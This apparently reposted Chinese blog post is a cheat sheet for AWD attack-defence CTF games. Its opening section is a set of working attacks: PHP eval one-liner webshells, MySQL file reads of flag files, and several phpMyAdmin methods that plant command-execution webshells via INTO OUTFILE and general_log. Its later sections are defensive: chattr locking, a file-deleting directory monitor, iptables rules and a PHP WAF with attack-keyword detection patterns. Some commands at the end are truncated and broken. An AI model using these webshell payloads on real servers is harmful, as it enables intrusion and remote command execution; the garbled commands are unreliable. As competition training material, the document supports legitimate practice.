AWD总结

AWD总结

1.run

1.linux写一句话echo “<?php eval(\$_POST[‘qq’]); ?>” > qq.php

windows写一句话echo ^<?php eval($_POST[‘qwe’]);?^> >qweqweq.php

2.cat /root/flag

3.数据库读取文件

use joomla;
create table mytable(a VARCHAR(100), b VARCHAR(100), c VARCHAR(100), d VARCHAR(100), e VARCHAR(100), f VARCHAR(100), g VARCHAR(100));
LOAD DATA LOCAL INFILE "/flag" INTO TABLE mytable;
select * from mytable;

4.修改mysql密码set password for root@localhost = password(‘123’);

5.重置mysql密码

net stop mysql;

mysqld –shared-memory –skip-grant-tables

新打开窗口

FLUSH PRIVILEGES;刷新权限

 use mysql;

ALTER USER 'root'@'localhost' IDENTIFIED BY 'newPassword';

FLUSH PRIVILEGES;

###########或者################################

vim /etc/my.cnf(注:windows下修改的是my.ini)

在[mysqld]后面任意一行添加“skip-grant-tables”用来跳过密码验证的过程

use mysql;

update user set password=password("你的新密码") where user="root";

flush privileges;

去掉skip-grant-tables
phpmyadmin获取webshell方法汇总整理
方法一:
CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );
INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('<?php @eval($_POST[xiaoma])?>');
SELECT xiaomaFROM study INTO OUTFILE 'E:/wamp/www/7.php';
----以上同时执行,在数据库: mysql 下创建一个表名为:xiaoma,字段为xiaoma1,导出到E:/wamp/www/7.php
一句话连接密码:xiaoma


方法二:
Create TABLE xiaoma (xiaoma1 text NOT NULL);
Insert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma])?>');
select xiaoma1 from xiaoma into outfile 'E:/wamp/www/7.php';
Drop TABLE IF EXISTS xiaoma;


方法三:


读取文件内容: select load_file('E:/xamp/www/s.php');


写一句话:select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/xiaoma.php'


cmd执行权限:select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'

 


方法四:
select load_file('E:/xamp/www/xiaoma.php');


select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
然后访问网站目录:http://www.xxxx.com/xiaoma.php?cmd=dir

方法5:
   SELECT "<?php phpinfo();?>" INTO OUTFILE  "E:\\wamp\\wamp\\www\\2.php"
方法6:
利用日志getshell
第一步手动开启日志。

set global  general_log='on'   //首先设置为on

然后 查看是否开启成功

show variables like "general_log%"
ON为开启,此时我们设置 日志路径

 set global  general_log_file ="E:\\wamp\\wamp\\www\\3.php"
 set global general_log_file='/tmp/general.log';  
 select '<?php eval($_POST['a']);?>'
 

2.back

linux下的文件有着隐藏属性,可以用lsattr命令查看。其中有一个i属性,表示不得更动任意文件或目录。如果你已经有root或者sudo权限了,那么你可以使用"chattr +i 命令"修改文件隐藏属性,这样所有用户都不能对该文件或者目录进行修改删除等操作(包括root),如果想进行修改,必须用命令"chattr -i"取消隐藏属性。

用chattr命令防止系统中某个关键文件被修改:

chattr +i /etc/profile

将/var/www/html目录下的文件设置为不允许任何人修改:

chattr -R +i /var/www/html

但由于监控事件太过杂,很多并不是我们关注的,并且我们不仅仅要监控,还需要对某些操作进行自动处理,因此我们可以自己编程,针对性地实现我们需要的功能,下面是一段代码示例。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# ** Author: ssooking
import os
import argparse
from pyinotify import WatchManager, Notifier,ProcessEvent
from pyinotify import IN_DELETE, IN_CREATE,IN_MOVED_TO,IN_ATTRIB
class EventHandler(ProcessEvent):
        """事件处理"""
        #创建
        def process_IN_CREATE(self, event):
            print "[!] Create : " + event.pathname
            DeleteFileOrDir(event.pathname)
        #删除
        def process_IN_DELETE(self, event):
            print "[!] Delete : " + event.pathname
        #文件属性被修改,如chmod、chown命令
        def process_IN_ATTRIB(self, event):
            print "[!] Attribute been modified:" + event.pathname
        #文件被移来,如mv、cp命令
        def process_IN_MOVED_TO(self, event):
            print "[!] File or dir been moved to here: " + event.pathname
            DeleteFileOrDir(event.pathname)
def DeleteFileOrDir(target):
    if os.path.isdir(target):
        fileslist = os.listdir(target)
        for files in fileslist:
            DeleteFileOrDir(target + "/" + files)
        try:
            os.rmdir(target)
            print "     >>> Delete directory successfully: " + target
        except:
            print "     [-] Delete directory failed: " + target
    if os.path.isfile(target):
        try:
            os.remove(target)
            print "     >>> Delete file successfully" + target
        except:
            print "     [-] Delete file filed:  " + target
def Monitor(path):
        wm = WatchManager()
        mask = IN_DELETE | IN_CREATE | IN_MOVED_TO | IN_ATTRIB
        notifier = Notifier(wm, EventHandler())
        wm.add_watch(path, mask,rec=True)
        print '[+] Now Starting Monitor:  %s'%(path)
        while True:
                try:
                        notifier.process_events()
                        if notifier.check_events():
                                notifier.read_events()
                except KeyboardInterrupt:
                        notifier.stop()
                        break
                        
if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        usage="%(prog)s -w [path]",
        description=('''
            Introduce:Simple Directory Monitor!  by ssooking''')
    )
    parser.add_argument('-w','--watch',action="store",dest="path",default="/var/www/html/",help="directory to watch,default is /var/www/html")
    args=parser.parse_args()
    Monitor(args.path)

linux安全防护一定少不了 iptables了,使用iptables需要有管理员权限。对于比赛环境,我们完全可以配置一个近乎苛刻的配置防火墙策略。

具体我们可以做哪些工作呢,举一些例子:

(1)关闭所有网络端口,只开放一些比赛的必要端口,也可以防止后门的连接

#开放ssh
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 22 -j ACCEPT
#打开80端口
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT
#开启多端口简单用法
iptables -A INPUT -p tcp -m multiport --dport 22,80,8080,8081 -j ACCEPT
#允许外部访问本地多个端口 如8080,8081,8082,且只允许是新连接、已经连接的和已经连接的延伸出新连接的会话
iptables -A INPUT -p tcp -m multiport --dport 8080,8081,8082,12345 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -p tcp -m multiport --sport 8080,8081,8082,12345 -m state --state ESTABLISHED -j ACCEPT

(2)限制ssh登陆,进行访问控制

iptable -t filter -A INPUT -s 123.4.5.6 -p tcp --dport 22 -j DROP   //禁止从123.4.5.6远程登陆到本机
iptables -A INPUT -s 123.4.5.6/24 -p tcp --dport 22 -j ACCEPT  //允许123.4.5.6网段远程登陆访问ssh

(3)限制IP连接数和连接速率

我们可以限制IP的网络连接数和速度等,限制过快的连接频率,这样可以在一定程度上限制对方的扫描器。狠一点的话,甚至可以让对方只能以手工点网页的速度与访问+_+

#单个IP的最大连接数为 30
iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 30 -j REJECT
#单个IP在60秒内只允许最多新建15个连接
iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --update --seconds 60 --hitcount 15 -j REJECT
iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --set -j ACCEPT
#允许外部访问本机80端口,且本机初始只允许有10个连接,每秒新增加2个连接,如果访问超过此限制则拒接 (此方式可以限制一些攻击)
iptables -A INPUT -p tcp --dport 80 -m limit --limit 2/s --limit-burst 10 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT

再猥琐一点,可以定时断开已经建立的连接,让对方只能断断续续的访问~~

(4)数据包简单识别,防止端口复用类的后门或者shell

假设病毒木马程序通过22,80端口向服务器外传送数据,这种方式发向外发的数据不是我们通过访问网页请求而回应的数据包。我们可以禁止这些没有通过请求回应的数据包。

iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p tcp --sport 443 -m state --state ESTABLISHED -j ACCEP

(5)限制访问

如果对方来势太凶,我们可以限制或者封杀他们的ip段。

iptable -t filter -A FORWARD -s 123.4.5.6 -d 123.4.5.7 -j DROP  //禁止从客户机123.4.5.6访问123.4.5.7上的任何服务
#封杀123.4.5.6这个IP或者某个ip段
iptables -I INPUT -s 123.4.5.6 -j DROP
iptables -I INPUT -s 123.4.5.1/24 -j DROP

(6)过滤异常报文

iptables有一个TCP匹配扩展协议–tcp-flags,功能是过滤TCP中的一些包,比如SYN包,ACK包,FIN包,RST包等等。举个例子,我们知道SYN是建立连接,RST是重置连接,如果这两个同时出现,就知道这样的包是有问题的,应该丢弃。下面的例子是利用–tcp-flags参数,对一些包进行标识过滤,扔掉异常的数据包。

iptables -A INPUT -p tcp --tcp-flags SYN,FIN,ACK,RST SYN         #表示 SYN,FIN,ACK,RST的标识都检查,但只匹配SYN标识
iptables -A INPUT -p tcp --syn                         #匹配SYN标识位
iptables -A INPUT -p tcp --tcp-flags ALL FIN,URG,PSH -j DROP       #检查所有的标识位,匹配到FIN URG PSH的丢弃
iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP           #丢弃没标志位的包
iptables -A INPUT -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG -j DROP #匹配到SYN ACK FIN URG的丢弃
iptables -A INPUT -p tcp --tcp-flags ALL SYN,FIN,RST -j DROP      #匹配到SYN ACK FIN RST的丢弃
iptables -A INPUT -p tcp --tcp-flags ALL SYN,FIN,PSH -j DROP      #匹配到SYN FIN PSH的丢弃
iptables -A INPUT -p tcp --tcp-flags ALL SYN,FIN,RST,PSH -j DROP    #匹配到SYN FIN RST PSH的丢弃
iptables -A INPUT -p tcp --tcp-flags SYN,RST SYN,RST -j DROP      #匹配到 SYN,RST的丢弃
iptables -A INPUT -p tcp --tcp-flags SYN,FIN SYN,FIN -j DROP       #匹配到 SYN,FIN的丢弃

(7)防DDOS攻击

iptables -A INPUT -p tcp --dport 80 -m limit --limit 20/minute --limit-burst 100 -j ACCEPT
  -m limit: 启用limit扩展
  –limit 20/minute: 允许最多每分钟10个连接
  –limit-burst 100: 当达到100个连接后,才启用上述20/minute限制

丢弃陌生的TCP响应包,防止反弹式攻击

iptables -A INPUT -m state --state NEW -p tcp ! --syn -j DROP
iptables -A FORWARD -m state --state NEW -p tcp --syn -j DROP

更多的姿势,需要打开我们的脑洞了,下面是一个通用的firewall脚本,我们可以传到服务器上一键执行,相关参数可以查阅资料详细了解:

ctf-firewall.sh

#!/bin/bash
#Allow youself Ping other hosts , prohibit others Ping you
iptables -A INPUT -p icmp --icmp-type 8 -s 0/0 -j DROP
iptables -A OUTPUT -p icmp --icmp-type 8 -s 0/0 -j ACCEPT
#Close all INPUT FORWARD OUTPUT, just open some ports
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT DROP
#Open sshiptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 22 -j ACCEPT
#Open port 80iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT
#Open multiport
#iptables -A INPUT -p tcp -m multiport --dport 22,80,8080,8081 -j ACCEPT
#Control IP connection
#The maximum number of connections for a single IP is 30iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 30 -j REJECT
#A single IP allows up to 15 new connections in 60 seconds
iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --update --seconds 60 --hitcount 15 -j REJECT
iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --set -j ACCEPT
#Prevent port reuse
iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p tcp --sport 443 -m state --state ESTABLISHED -j ACCEPT
#Filter abnormal packets
iptables -A INPUT -i eth1 -p tcp --tcp-flags SYN,RST,ACK,FIN SYN -j DROP
iptables -A INPUT -p tcp --tcp-flags ALL FIN,URG,PSH -j DROP
iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP 
iptables -A INPUT -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG -j DROP
iptables -A INPUT -p tcp --tcp-flags ALL SYN,FIN,RST -j DROP
iptables -A INPUT -p tcp --tcp-flags ALL SYN,FIN,PSH -j DROP
iptables -A INPUT -p tcp --tcp-flags ALL SYN,FIN,RST,PSH -j DROP
iptables -A INPUT -p tcp --tcp-flags SYN,RST SYN,RST -j DROP 
iptables -A INPUT -p tcp --tcp-flags SYN,FIN SYN,FIN -j DROP
#Prevent DoS attacks
iptables -A INPUT -p tcp --dport 80 -m limit --limit 20/minute --limit-burst 100 -j ACCEPT
#Discard unfamiliar TCP response packs to prevent rebound attacks
iptables -A INPUT -m state --state NEW -p tcp ! --syn -j DROP
iptables -A FORWARD -m state --state NEW -p tcp --syn -j DROP

netstat -antulp 查看网络连接

ls /proc/<进程pid>/fd -l | grep socket: | wc -l 查看指定进程连接数

命令的意思就是查找/var/www/html目录下所有php文件,在头部添加一句,用require函数引入/tmp/waf.php文件。因为sed命令利用 / 区分文件中的原字符串和修改的字符串,所以我们要对 / 进行转义。类似于在单引号中再次使用单引号时我们也要用反斜杠转义:’,命令转换过来就是这样:

find /var/www/html -type f -path "*.php" | xargs sed -i "s/<?php/<?phpnrequire_once('/tmp/waf.php');n/g"

这样,再次打开时我们就会发现已经引入了自定义waf文件。

waf.php

<?php
//error_reporting(E_ALL);
//ini_set('display_errors', 1);

/*
** 线下攻防php版本waf
**
** Author: 落
*/

/*
检测请求方式,除了get和post之外拦截下来并写日志。
*/
if($_SERVER['REQUEST_METHOD'] != 'POST' && $_SERVER['REQUEST_METHOD'] != 'GET'){
    write_attack_log("method");
}

$url = $_SERVER['REQUEST_URI']; //获取uri来进行检测

$data = file_get_contents('php://input'); //获取post的data,无论是否是mutipart

$headers = get_all_headers(); //获取header

filter_attack_keyword(filter_invisible(urldecode(filter_0x25($url)))); //对URL进行检测,出现问题则拦截并记录
filter_attack_keyword(filter_invisible(urldecode(filter_0x25($data)))); //对POST的内容进行检测,出现问题拦截并记录

/*
检测过了则对输入进行简单过滤
*/
foreach ($_GET as $key => $value) {
    $_GET[$key] = filter_dangerous_words($value);
}
foreach ($_POST as $key => $value) {
    $_POST[$key] = filter_dangerous_words($value);
}
foreach ($headers as $key => $value) {
    filter_attack_keyword(filter_invisible(urldecode(filter_0x25($value)))); //对http请求头进行检测,出现问题拦截并记录
    $_SERVER[$key] = filter_dangerous_words($value); //简单过滤
}

/*
获取http请求头并写入数组
*/
function get_all_headers() { 
    $headers = array(); 

```
foreach($_SERVER as $key => $value) { 
    if(substr($key, 0, 5) === 'HTTP_') { 
        $headers[$key] = $value; 
    } 
} 
 
return $headers; 
```

} 

/*
检测不可见字符造成的截断和绕过效果,注意网站请求带中文需要简单修改
*/
function filter_invisible($str){
    for($i=0;$i<strlen($str);$i++){
        $ascii = ord($str[$i]);
        if($ascii>126 || $ascii < 32){ //有中文这里要修改
            if(!in_array($ascii, array(9,10,13))){
                write_attack_log("interrupt");
            }else{
                $str = str_replace($ascii, " ", $str);
            }
        }
    }
    $str = str_replace(array("`","|",";",","), " ", $str);
    return $str;
}

/*
检测网站程序存在二次编码绕过漏洞造成的%25绕过,此处是循环将%25替换成%,直至不存在%25
*/
function filter_0x25($str){
    if(strpos($str,"%25") !== false){
        $str = str_replace("%25", "%", $str);
        return filter_0x25($str);
    }else{
        return $str;
    }
}

/*
攻击关键字检测,此处由于之前将特殊字符替换成空格,即使存在绕过特性也绕不过正则的\b
*/
function filter_attack_keyword($str){
    if(preg_match("/select\b|insert\b|update\b|drop\b|delete\b|dumpfile\b|outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|multipoint\(/i", $str)){
        write_attack_log("sqli");
    }

```
//此处文件包含的检测我真的不会写了,求高人指点。。。
if(substr_count($str,$_SERVER['PHP_SELF']) < 2){
    $tmp = str_replace($_SERVER['PHP_SELF'], "", $str);
    if(preg_match("/\.\.|.*\.php[35]{0,1}/i", $tmp)){ 
        write_attack_log("LFI/LFR");;
    }
}else{
    write_attack_log("LFI/LFR");
}
if(preg_match("/base64_decode|eval\(|assert\(/i", $str)){
    write_attack_log("EXEC");
}
if(preg_match("/flag/i", $str)){
    write_attack_log("GETFLAG");
}
```

}

/*
简单将易出现问题的字符替换成中文
*/
function filter_dangerous_words($str){
    $str = str_replace("'", "‘", $str);
    $str = str_replace("\"", "“", $str);
    $str = str_replace("<", "《", $str);
    $str = str_replace(">", "》", $str);
    return $str;
}

/*
获取http的请求包,意义在于获取别人的攻击payload
*/
function get_http_raw() { 
    $raw = ''; 

```
$raw .= $_SERVER['REQUEST_METHOD'].' '.$_SERVER['REQUEST_URI'].' '.$_SERVER['SERVER_PROTOCOL']."\r\n"; 
 
foreach($_SERVER as $key => $value) { 
    if(substr($key, 0, 5) === 'HTTP_') { 
        $key = substr($key, 5); 
        $key = str_replace('_', '-', $key); 
        $raw .= $key.': '.$value."\r\n"; 
    } 
} 
$raw .= "\r\n"; 
$raw .= file_get_contents('php://input'); 
return $raw; 
```

}

/*
这里拦截并记录攻击payload
*/
function write_attack_log($alert){
    $data = date("Y/m/d H:i:s")." -- [".$alert."]"."\r\n".get_http_raw()."\r\n\r\n";
    $ffff = fopen('log_is_a_secret_file.txt', 'a'); //日志路径 
    fwrite($ffff, $data);  
    fclose($ffff);
    if($alert == 'GETFLAG'){
        echo "HCTF{aaaa}"; //如果请求带有flag关键字,显示假的flag。(2333333)
    }else{
        sleep(15); //拦截前延时15秒
    }
    exit(0);
}

?>

3.usage

ssh <-p 端口> 用户名@IP  
scp 文件路径 用户名@IP:存放路径    
tar -zcvf web.tar.gz /var/www/html/  
w     
pkill -kill -t <用户tty>     
ps aux | grep pid或者进程名    
#查看已建立的网络连接及进程
netstat -antulp | grep EST
#查看指定端口被哪个进程占用
lsof -i:端口号 或者 netstat -tunlp|grep 端口号
#结束进程命令
kill PID
killall <进程名>  
kill -   
#封杀某个IP或者ip段,如:.  
iptables -I INPUT -s . -j DROP
iptables -I INPUT -s ./ -j DROP
#禁止从某个主机ssh远程访问登陆到本机,如123…  
iptable -t filter -A INPUT -s . -p tcp --dport -j DROP  
#备份mysql数据库
mysqldump -u 用户名 -p 密码 数据库名 > back.sql    
mysqldump --all-databases > bak.sql      
#还原mysql数据库
mysql -u 用户名 -p 密码 数据库名 < bak.sql  
find / *.php -perm      
awk -F: /etc/passwd    
crontab -l    
#检测所有的tcp连接数量及状态
netstat -ant|awk |grep |sed -e -e |sort|uniq -c|sort -rn
#查看页面访问排名前十的IP
cat /var/log/apache2/access.log | cut -f1 -d | sort | uniq -c | sort -k -r | head -  
#查看页面访问排名前十的URL
cat /var/log/apache2/access.log | cut -f4 -d | sort | uniq -c | sort -k -r | head -

发布了14 篇原创文章 · 获赞 0 · 访问量 13

猜你喜欢

转载自blog.csdn.net/qq_43645782/article/details/105468105
AWD